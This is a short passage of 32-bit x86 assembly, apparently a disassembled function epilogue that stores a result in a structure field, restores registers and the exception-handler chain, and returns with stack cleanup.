mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc